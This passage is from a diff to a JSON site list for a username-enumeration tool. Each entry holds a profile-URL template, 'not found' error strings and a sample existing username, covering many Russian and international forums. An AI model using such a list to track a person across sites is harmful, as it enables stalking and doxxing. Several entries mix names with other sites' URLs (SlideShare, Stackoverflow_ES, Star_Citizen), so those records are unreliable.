"[а-яА-Я]", + "url": "https://ubuntu-mate.community/u/{}/summary", + "urlMain": "https://ubuntu-mate.community", + "usernameON": "oldstrummer", + "bad_site": "" + }, + "Forum_uc-portaller": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uc-portaller.ucoz.com/index/8-0-{}", + "urlMain": "http://uc-portaller.ucoz.com", + "usernameON": "use_vse", + "bad_site": "" + }, + "Forum_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://forum.ucoz.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_ucozweber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ucozweber.3dn.ru/index/8-0-{}", + "urlMain": "https://ucozweber.3dn.ru", + "usernameON": "SoVeR", + "bad_site": "" + }, + "Forum_ucozzz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://ucozzz.ru/index/8-0-{}", + "urlMain": "http://ucozzz.ru", + "usernameON": "podrubaj", + "bad_site": "" + }, + "Forum_ufachgk": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Форум Uinsell.Net", + "errorTyp��": "message", + "url": "http://forum.uinsell.net/member.php?username={}", + "urlMain": "http://forum.uinsell.net", + "usernameON": "ghost", + "bad_site": "" + }, + "Forum_uk_muscle": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uk-muscle.co.uk/members/?username={}", + "urlMain": "https://www.uk-muscle.co.uk", + "usernameON": "zenol", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ukraine_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ukraineforum.de/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://ukraineforum.de", + "usernameON": "Handrij", + "bad_site": "" + }, + "Forum_ukriversguidebook": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ukriversguidebook.co.uk/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.ukriversguidebook.co.uk", + "usernameON": "Franky", + "bad_site": "" + }, + "Forum_uktechhub": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page not found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://uktechhub.com/forums/users/{}/", + "urlMain": "https://uktechhub.com", + "usernameON": "uk-sentinel", + "bad_site": "" + }, + "Forum_ulanovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Результатов поиска нет", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "возникла проблема", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ulanovka.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ulanovka.ru", + "usernameON": "mac", + "bad_site": "" + }, + "Forum_ulfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": "https://ulfishing.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ulfishing.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ulisp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://forum.ulisp.com/u/{}", + "urlMain": "http://forum.ulisp.com", + "usernameON": "nanomonkey", + "bad_site": "" + }, + "Forum_ulybka_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "/noindex>-->

    ", + "errorTyp��": "message", + "url": "https://sign-forum.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sign-forum.ru", + "usernameON": "KalinaAlexandr", + "bad_site": "" + }, + "Signal_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorMsg2": "Signal Community", + "errorTyp��": "message", + "url": "https://community.signalusers.org/u/{}/summary", + "urlMain": "https://community.signalusers.org", + "usernameON": "whatnoww", + "bad_site": "" + }, + "Silver-collector": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.silver-collector.com/u/{}/summary", + "urlMain": "https://www.silver-collector.com", + "usernameON": "red", + "bad_site": "" + }, + "Similarworlds": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://similarworlds.com/{}", + "urlMain": "https://similarworlds.com", + "usernameON": "Messygirl3", + "bad_site": "" + }, + "Skodaforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorMsg3": "FASTPANEL", + "errorTyp��": "message", + "url": "http://www.skodaforum.ru/member.php?username={}", + "urlMain": "http://www.skodaforum.ru", + "usernameON": "rivera", + "comments": "bad", + "bad_site": 1 + }, + "Skyblock": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://skyblock.net/members/?username={}", + "urlMain": "https://skyblock.net", + "usernameON": "noobcrew", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skynetzone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://skynetzone.net/members/?username={}", + "urlMain": "https://skynetzone.net", + "usernameON": "battarismos", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyrimforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://skyrimforum.com/forum/members/?username={}", + "urlMain": "https://skyrimforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyscrapercity": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "redirection", + "url": "https://www.skyscrapercity.com/members/?username={}", + "urlMain": "https://www.skyscrapercity.com", + "usernameON": "adam", + "bad_site": "" + }, + "Slack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.slack.com", + "urlMain": "https://slack.com", + "usernameON": "blue", + "bad_site": "" + }, + "Slamdunk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.slamdunk.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.slamdunk.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Slantmagazine": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.slantmagazine.com/author/{}/", + "urlMain": "https://www.slantmagazine.com", + "usernameON": "justinclark", + "bad_site": "" + }, + "Slashdot": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " - Slashdot User", + "errorMsg2": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://slashdot.org/~{}", + "urlMain": "https://slashdot.org", + "usernameON": "adam", + "bad_site": "" + }, + "Slides": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://slides.com/{}", + "urlMain": "https://slides.com/", + "usernameON": "adam", + "bad_site": "" + }, + "SlideShare": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Page no longer exists<", + "errorMsg2": "gen\">01.01.1970", + "errorTyp��": "message", + "url": "https://www.smallcar.ru/talk/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.smallcar.ru", + "usernameON": "lukey", + "bad_site": "" + }, + "Smart_lab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://smart-lab.ru/profile/{}/", + "urlMain": "https://smart-lab.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Smashcast": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.smashcast.tv/api/media/live/{}", + "urlMain": "https://www.smashcast.tv/", + "usernameON": "hello", + "bad_site": 1 + }, + "Smashrun": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://smashrun.com/{}/", + "urlMain": "https://smashrun.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smogon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.smogon.com/forums/members/?username={}", + "urlMain": "https://www.smogon.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Smolmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://smolmama.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://smolmama.com", + "usernameON": "Kisma", + "bad_site": "" + }, + "Smugmug": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://{}.smugmug.com/", + "urlMain": "https://smugmug.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smule": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Right tune, wrong note", + "errorMsg2": "Page Not Found", + "errorTyp��": "message", + "url": "https://www.smule.com/{}", + "urlMain": "https://www.smule.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Snapchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.snapchat.com/add/{}", + "urlMain": "https://www.snapchat.com", + "usernameON": "adam22hoe", + "bad_site": "" + }, + "Snbforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.snbforums.com/members/?username={}", + "urlMain": "https://www.snbforums.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Snowjapan": { + "country": "🇯🇵", + "country_klas": "JP", + "errorMsg": "Found 0 results", + "errorMsg2": "large ipsType_light'>There were no results for", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.snowjapan.com/community/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.snowjapan.com", + "usernameON": "nisoko", + "bad_site": "" + }, + "Soborno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://soborno.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://soborno.ru", + "usernameON": "arinasha", + "bad_site": "" + }, + "Soc-life.": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://soc-life.com/index/8-0-{}", + "urlMain": "http://soc-life.com", + "usernameON": "Ilona54", + "bad_site": "" + }, + "Sochi_profi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sochi.profi.ru/profile/{}/", + "urlMain": "https://sochi.profi.ru", + "usernameON": "Irina", + "bad_site": "" + }, + "Social_librem": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://social.librem.one/@{}", + "urlMain": "https://social.librem.one", + "usernameON": "adam", + "bad_site": "" + }, + "Social_microsoft": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The resource you are looking for has been removed", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://social.microsoft.com/profile/{}", + "urlMain": "https://social.microsoft.com", + "usernameON": "shartbandiha", + "bad_site": 1 + }, + "Social_tchncs": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "https://social.tchncs.de/@{}", + "urlMain": "https://social.tchncs.de/", + "usernameON": "Milan", + "bad_site": "" + }, + "Socialblade": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://socialblade.com/youtube/user/{}", + "urlMain": "https://socialblade.com", + "usernameON": "fred", + "comments": "cf", + "bad_site": "" + }, + "Socioforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.socioforum.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.socioforum.su", + "usernameON": "adam", + "bad_site": "" + }, + "Socionics": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.socionics.org/user/Profile.aspx?username={}", + "urlMain": "http://www.socionics.org", + "usernameON": "RWinner", + "comments": "bad", + "bad_site": 1 + }, + "Softboard": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "<p class='ipsType_large ipsType", + "errorTyp��": "message", + "url": "https://softboard.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://softboard.ru", + "usernameON": "Rambler", + "bad_site": "" + }, + "SoftwareInformer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://users.software.informer.com/{}/", + "urlMain": "https://users.software.informer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Solaris-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "<title>Hyundai Solaris клуб Россия", + "errorTyp��": "message", + "url": "https://solaris-club.net/forum/member.php?username={}", + "urlMain": "https://solaris-club.net", + "usernameON": "adam", + "bad_site": "" + }, + "Solo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://solo.to/{}", + "urlMain": "https://solo.to", + "usernameON": "red", + "bad_site": "" + }, + "Soloby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "QT Media 404", + "errorMsg2": "Универ soloBY", + "errorTyp��": "message", + "url": "http://www.soloby.ru/user/{}", + "urlMain": "http://www.soloby.ru", + "usernameON": "red", + "comments": "bad", + "bad_site": 1 + }, + "Somersoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.somersoft.com/members/?username={}", + "urlMain": "https://www.somersoft.com", + "usernameON": "johnhenry", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sony-club.ru/forum/members/?username={}", + "urlMain": "https://www.sony-club.ru", + "usernameON": "usman161rus", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony_stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Сайт закрыт", + "errorMsg2": "Форум Sony - Stratege.ru", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sony.stratege.ru/forums/member.php?username={}", + "urlMain": "https://sony.stratege.ru", + "usernameON": "kalpak", + "bad_site": "" + }, + "Sorento_kia-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sorento.kia-club.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://sorento.kia-club.ru/", + "usernameON": "king", + "bad_site": "" + }, + "Sotoguide": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://sotoguide.ru/users/{}/", + "urlMain": "https://sotoguide.ru", + "usernameON": "jura1987g", + "bad_site": 1 + }, + "SoundCloud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://soundcloud.com/{}", + "urlMain": "https://soundcloud.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Soundex": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://soundex.ru/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://soundex.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Soundgym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "[а-яА-Я]", + "url": "https://www.soundgym.co/member/profile?m={}", + "urlMain": "https://www.soundgym.co", + "usernameON": "raydrcougso", + "bad_site": "" + }, + "Soup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.soup.io/author/{}", + "urlMain": "https://www.soup.io", + "usernameON": "cristina", + "bad_site": "" + }, + "SourceForge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "error-page", + "errorTyp��": "message", + "url": "https://sourceforge.net/u/{}/profile/", + "urlMain": "https://sourceforge.net/", + "usernameON": "blue", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "TE": "trailers", + "Upgrade-Insecure-Requests": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Sourcewatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.sourcewatch.org/index.php?title=User:{}", + "urlMain": "https://www.sourcewatch.org", + "usernameON": "Rebekah_Wilce", + "bad_site": "" + }, + "Southklad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Форум кладоискателей - Юг Клад - Информация", + "errorTyp��": "message", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://southklad.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Soylentnews": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://soylentnews.org/~{}", + "urlMain": "https://soylentnews.org", + "usernameON": "adam", + "bad_site": "" + }, + "Sp-shopogoliki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://sp-shopogoliki.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sp-shopogoliki.ru", + "usernameON": "sima", + "bad_site": "" + }, + "Spaces": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spaces.im/mysite/index/{}/", + "urlMain": "https://spaces.im", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Spark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spark.ru/startup/{}", + "urlMain": "https://spark.ru", + "usernameON": "green", + "bad_site": "" + }, + "Spartak_msk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Вы не можете произвести поиск сразу", + "errorMsg2": "Информация", + "errorMsg3": "поиска: 0", + "errorTyp��": "message", + "url": "http://spartak.msk.ru/guest/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spartak.msk.ru", + "usernameON": "malyushenko", + "bad_site": "" + }, + "Spb-projects": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://spb-projects.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spb-projects.ru", + "usernameON": "Deij", + "bad_site": "" + }, + "Speakerdeck": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "User Not Found", + "errorMsg2": "loige", + "errorTyp��": "message", + "url": "https://speakerdeck.com/{}", + "urlMain": "https://speakerdeck.com", + "usernameON": "adam", + "bad_site": "" + }, + "Speedrun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not found.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://speedrun.com/user/{}", + "urlMain": "https://speedrun.com/", + "usernameON": "3Tau", + "bad_site": "" + }, + "Spiceworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/people/{}", + "urlMain": "https://community.spiceworks.co", + "usernameON": "adam", + "bad_site": "" + }, + "Spinchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spinchat.com/hp/{}/", + "urlMain": "https://www.spinchat.com", + "usernameON": "Adam", + "bad_site": "" + }, + "Splatoon_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://splatoonwiki.org/wiki/User:{}", + "urlMain": "https://splatoonwiki.org", + "usernameON": "Hewer", + "bad_site": "" + }, + "Spletenie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Страница не найдена", + "errorMsg2": "
    ", + "errorTyp��": "message", + "url": "https://forum.sportbox.ru/index.php?app=members&module=list&app=members&module=list&showall=0&sort_key=members_l_display_name&sort_order=asc&max_results=20&name_box=begins&name={}", + "urlMain": "https://forum.sportbox.ru", + "usernameON": "Thedolphin", + "bad_site": "" + }, + "Sports": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "%20", + "errorMsg": "Ничего не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sports.ru/search/?query={}", + "urlMain": "https://www.sports.ru/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Sportsjournalists": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sportsjournalists.com/members/?username={}", + "urlMain": "https://www.sportsjournalists.com", + "usernameON": "outofplace", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SportsTracker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\"code\":\"404\"", + "errorMsg2": "Not found", + "errorTyp��": "message", + "url": "https://www.sports-tracker.com/view_profile/{}", + "urlMain": "https://www.sports-tracker.com/", + "urlProbe": "https://api.sports-tracker.com/apiserver/v1/user/name/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Sportstracklive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.sportstracklive.com/en/user/{}", + "urlMain": "https://www.sportstracklive.com", + "usernameON": "PaddyLewtas", + "bad_site": "" + }, + "Spotify_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\t\t0 results", + "errorMsg2": "No search results found", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://community.spotify.com/t5/forums/searchpage/tab/user?q={}", + "urlMain": "https://community.spotify.com", + "usernameON": "adam", + "bad_site": "" + }, + "Sprashivai_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "http://sprashivai.ru/{}?sl", + "urlMain": "http://sprashivai.ru", + "usernameON": "red", + "bad_site": 1 + }, + "Spursarmy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">Ошибка

    ", + "errorMsg2": "Профиль", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://spursarmy.com/profile/{}", + "urlMain": "https://spursarmy.com", + "usernameON": "Sloock", + "bad_site": "" + }, + "SPW": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.spw.ru/members/?username={}", + "urlMain": "https://forum.spw.ru", + "usernameON": "kato", + "ignore_status_code": true, + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SQL": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "begin case_noresults", + "errorMsg3": "<TITLE>Òåõíè÷åñêîå Îáúÿâëåíèå", + "errorTyp��": "message", + "url": "https://www.sql.ru/forum/actualsearch.aspx?search=&sin=0&bid=0&a={}&ma=0&dt=-1&s=1&so=1", + "urlMain": "https://www.sql.ru", + "usernameON": "Birkhoff", + "comments": "bad", + "bad_site": 1 + }, + "Srclog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://srclog.com/{}", + "urlMain": "https://srclog.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ssb_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ssbwiki.com/User:{}", + "urlMain": "https://www.ssbwiki.com", + "usernameON": "NotBen", + "bad_site": "" + }, + "Stackexchange": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://unix.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "urlMain": "https://unix.stackexchange.com", + "usernameON": "telcom", + "bad_site": "" + }, + "Stackoverflow": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "p>No users matched your search", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://stackoverflow.com/users/?search={}", + "urlMain": "https://stackoverflow.com", + "usernameON": "adam", + "bad_site": "" + }, + "Stackoverflow_ES": { + "country": "🇪🇸", + "country_klas": "ES", + "errorMsg": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://stalkerbar.at.ua/index/8-0-{}", + "urlMain": "https://stalkerbar.at.ua", + "usernameON": "lordsfilmpw", + "bad_site": "" + }, + "Star-girl": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "url": "https://star-girl.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://star-girl.ru", + "usernameON": "Patricia", + "comments": "bad", + "bad_site": "" + }, + "Star_Citizen": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 -", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://steamcommunity.com/groups/{}", + "urlMain": "https://steamcommunity.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Steamid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Just a moment", + "errorMsg2": "Cloudflare", + "errorMsg3": "profile information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://steamid.uk/profile/{}", + "urlMain": "https://steamid.uk/", + "comments": "cf", + "usernameON": "blue", + "bad_site": "" + }, + "Stereo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stereo.ru/user/{}", + "urlMain": "https://stereo.ru/", + "usernameON": "Yamiha", + "bad_site": "" + }, + "Sti-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://www.sti-club.su/member.php?username={}", + "urlMain": "http://www.sti-club.su", + "usernameON": "Viktor85", + "bad_site": 1 + }, + "Stihi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Автор не найден", + "errorMsg2": "Поиск авторов", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.stihi.ru/avtor/{}", + "urlMain": "https://www.stihi.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Stop-narko_info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": 